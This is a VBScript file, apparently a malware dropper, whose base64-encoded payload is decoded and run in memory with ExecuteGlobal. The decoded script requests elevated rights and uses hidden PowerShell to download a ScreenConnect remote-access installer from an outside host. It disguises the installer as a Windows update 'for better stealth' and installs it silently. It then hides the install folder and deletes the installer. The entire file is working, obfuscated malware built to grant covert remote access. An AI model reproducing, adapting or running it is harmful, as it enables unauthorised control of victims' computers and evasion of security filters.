Option Explicit

' --- ENCRYPTED DATA CHUNKS ---
Dim p
p = "T3B0aW9uIEV4cGxpY2l0CgonIC0tLSBDb25maWd1cmF0aW9uIC0tLQpEaW0gc3RyVVJMLCBzdHJNU0ksIHN0ckluc3RhbGxEaXIKc3RyVVJMID0gImh0dHA6Ly9ncmFuaXRlcGVha25ldC50b3AvQmluL1NjcmVlbkNvbm5lY3QuQ2xpZW50U2V0dXAubXNpP2U9QWNjZXNzJnk9R3Vlc3QiCnN0ck1TSSA9ICJXaW5kb3dzVXBkYXRlX0tCNTAzLm1zaSIgJyBSZW5hbWVkIGZvciBiZXR0ZXIgc3RlYWx0aC9hdm9pZGluZyBmaWx0ZXJzCnN0ckluc3RhbGxEaXIgPSAiQzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxTY3JlZW5Db25uZWN0IENsaWVudCAoNTdjMTc4ZDU4NmIxZTA5YSkiCgpEaW0gb2JqU2hlbGwsIG9iakZTTywgc3RyVGVtcCwgc3RyTG9jYWxQYXRoLCBzdHJQU0NvbW1hbmQsIGludFJDCgpTZXQgb2JqU2hlbGwgPSBDcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQpTZXQgb2JqRlNPID0gQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpCnN0clRlbXAgPSBvYmpTaGVsbC5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVURU1QJSIpCnN0ckxvY2FsUGF0aCA9IHN0clRlbXAgJiAiXCIgJiBzdHJNU0kKCicgMS4gU2VsZi1FbGV2YXRpb24gTG9naWMgKENoZWNrcyBmb3IgQWRtaW4gcmlnaHRzKQpJZiBOb3QgV1NjcmlwdC5Bcmd1bWVudHMuTmFtZWQuRXhpc3RzKCJlbGV2YXRlZCIpIFRoZW4KICAgIENyZWF0ZU9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKS5TaGVsbEV4ZWN1dGUgIndzY3JpcHQuZXhlIiwgXwogICAgIiIiIiAmIFdTY3JpcHQuU2NyaXB0RnVsbE5hbWUgJiAiIiIgL2VsZXZhdGVkIiwgIiIsICJydW5hcyIsIDEKICAgIFdTY3JpcHQuUXVpdApFbmQgSWYKCicgMi4gRG93bmxvYWQgdXNpbmcgUG93ZXJTaGVsbCAoTW9zdCByZWxpYWJsZSBmb3IgbW9kZXJuIEhUVFBTL1RMUykKJyBXZSB1c2UgLVdpbmRvd1N0eWxlIEhpZGRlbiB0byBrZWVwIHRoZSBibHVlIFBTIGJveCBmcm9tIGZsYXNoaW5nCnN0clBTQ29tbWFuZCA9ICJwb3dlcnNoZWxsLmV4ZSAtV2luZG93U3R5bGUgSGlkZGVuIC1Db21tYW5kICIiKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCciICYgc3RyVVJMICYgIicsICciICYgc3RyTG9jYWxQYXRoICYgIicpIiIiCmludFJDID0gb2JqU2hlbGwuUnVuKHN0clBTQ29tbWFuZCwgMCwgVHJ1ZSkKCicgMy4gVmVyaWZ5IERvd25sb2FkIGFuZCBJbnN0YWxsCklmIG9iakZTTy5GaWxlRXhpc3RzKHN0ckxvY2FsUGF0aCkgVGhlbgogICAgJyBSdW4gTVNJIHNpbGVudGx5ICgvcW4pIHdpdGggbm8gcmVzdGFydAogICAgaW50UkMgPSBvYmpTaGVsbC5SdW4oIm1zaWV4ZWMuZXhlIC9pICIiIiAmIHN0ckxvY2FsUGF0aCAmICIiIiAvcW4gL25vcmVzdGFydCIsIDAsIFRydWUpCiAgICAKICAgICcgNC4gV2FpdCBmb3IgaW5zdGFsbGF0aW9uIHRvIGZpbmlzaCAmIEhpZGUgRm9sZGVyCiAgICBXU2NyaXB0LlNsZWVwIDgwMDAgJyA4IHNlY29uZCBidWZmZXIgZm9yIHBoeXNpY2FsIGhhcmR3YXJlCiAgICAKICAgIElmIG9iakZTTy5Gb2xkZXJFeGlzdHMoc3RySW5zdGFsbERpcikgVGhlbgogICAgICAgICcgMiAoSGlkZGVuKSArIDQgKFN5c3RlbSkgPSA2CiAgICAgICAgb2JqRlNPLkdldEZvbGRlcihzdHJJbnN0YWxsRGlyKS5BdHRyaWJ1dGVzID0gNgogICAgRW5kIElmCiAgICAKICAgICcgNS4gQ2xlYW51cAogICAgT24gRXJyb3IgUmVzdW1lIE5leHQKICAgIG9iakZTTy5EZWxldGVGaWxlIHN0ckxvY2FsUGF0aCwgVHJ1ZQpFbHNlCiAgICAnIERvd25sb2FkIGZhaWxlZCAtIHNjcmlwdCBleGl0cwogICAgV1NjcmlwdC5RdWl0CkVuZCBJZgoKU2V0IG9iakZTTyA9IE5vdGhpbmcKU2V0IG9ialNoZWxsID0gTm90aGluZw=="

' --- DECODER ENGINE ---
Dim xml, node, stream, finalCode
Set xml = CreateObject("MSXML2.DOMDocument.3.0")
Set node = xml.CreateElement("base64")
node.dataType = "bin.base64"
node.text = p

Set stream = CreateObject("ADODB.Stream")
stream.Type = 1 : stream.Open
stream.Write node.nodeTypedValue : stream.Position = 0
stream.Type = 2 : stream.Charset = "utf-8"
finalCode = stream.ReadText

' --- RUN IN MEMORY ---
ExecuteGlobal finalCode